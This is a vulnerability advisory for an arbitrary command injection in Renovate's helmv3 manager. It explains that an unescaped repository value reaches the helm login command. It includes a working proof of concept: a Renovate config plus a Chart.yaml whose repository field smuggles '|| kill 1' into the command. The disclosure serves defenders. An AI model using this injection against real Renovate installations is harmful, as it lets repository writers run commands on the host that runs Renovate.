PT-2026-4554 · Npm · Renovate

Published

2026-01-13

·

Updated

2026-01-13

CVSS v3.1

6.7

Medium

VectorAV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

The user-provided string repository in the helmv3 manager is appended to the helm registry login command without proper sanitization.

Details

Adversaries can provide a maliciously crafted Chart.yaml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code. The value for both uses of the repository variable in lib/modules/manager/helmv3/common.ts are not being escaped using the quote function from the shlex package. This lack of proper sanitization has been present in the product since version 31.51.0 (https://github.com/renovatebot/renovate/commit/f372a68144a4d78c9f7f418168e4efe03336a432), released on January 24 of 2022.

PoC

  1. Create a git repo with the following content:
renovate.json5:
json5
{
 $schema: "https://docs.renovatebot.com/renovate-schema.json",
 customDatasources: {
  always: {
   defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search index.json",
   transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
  },
 },
 // Register any credentials to make the manager attempt to use basic auth for the Helm registry
 hostRules: [
  {
   matchHost: "charts.bitnami.com",
   username: "un",
   password: "pw",
  },
 ],
 packageRules: [
  {
   // Target of the day
   matchManagers: ["helmv3"],
   // Don't consult the actual bitnami repo
   registryUrls: [],
   // But still, trick the manager in believing there's a new version
   overrideDatasource: "custom.always",
  },
 ],
}
Chart.yaml:
yaml
apiVersion: v2
name: renovate-aci-1
version: 0.0.1
dependencies:
 - name: redis
  version: 0.1.0
  repository: oci://charts.bitnami.com/bitnami || kill 1
Chart.lock:
yaml
dependencies:
- name: redis
 repository: oci://charts.bitnami.com/bitnami
  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.
[!NOTE] This specific proof of concept was made a lot simpler with the introduction of the overrideDatasource configuration since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual Helm registry on the malformed repository URL.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

Fix

Command Injection

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-77

Related Identifiers

GHSA-3F44-XW83-3PMG

Affected Products

Renovate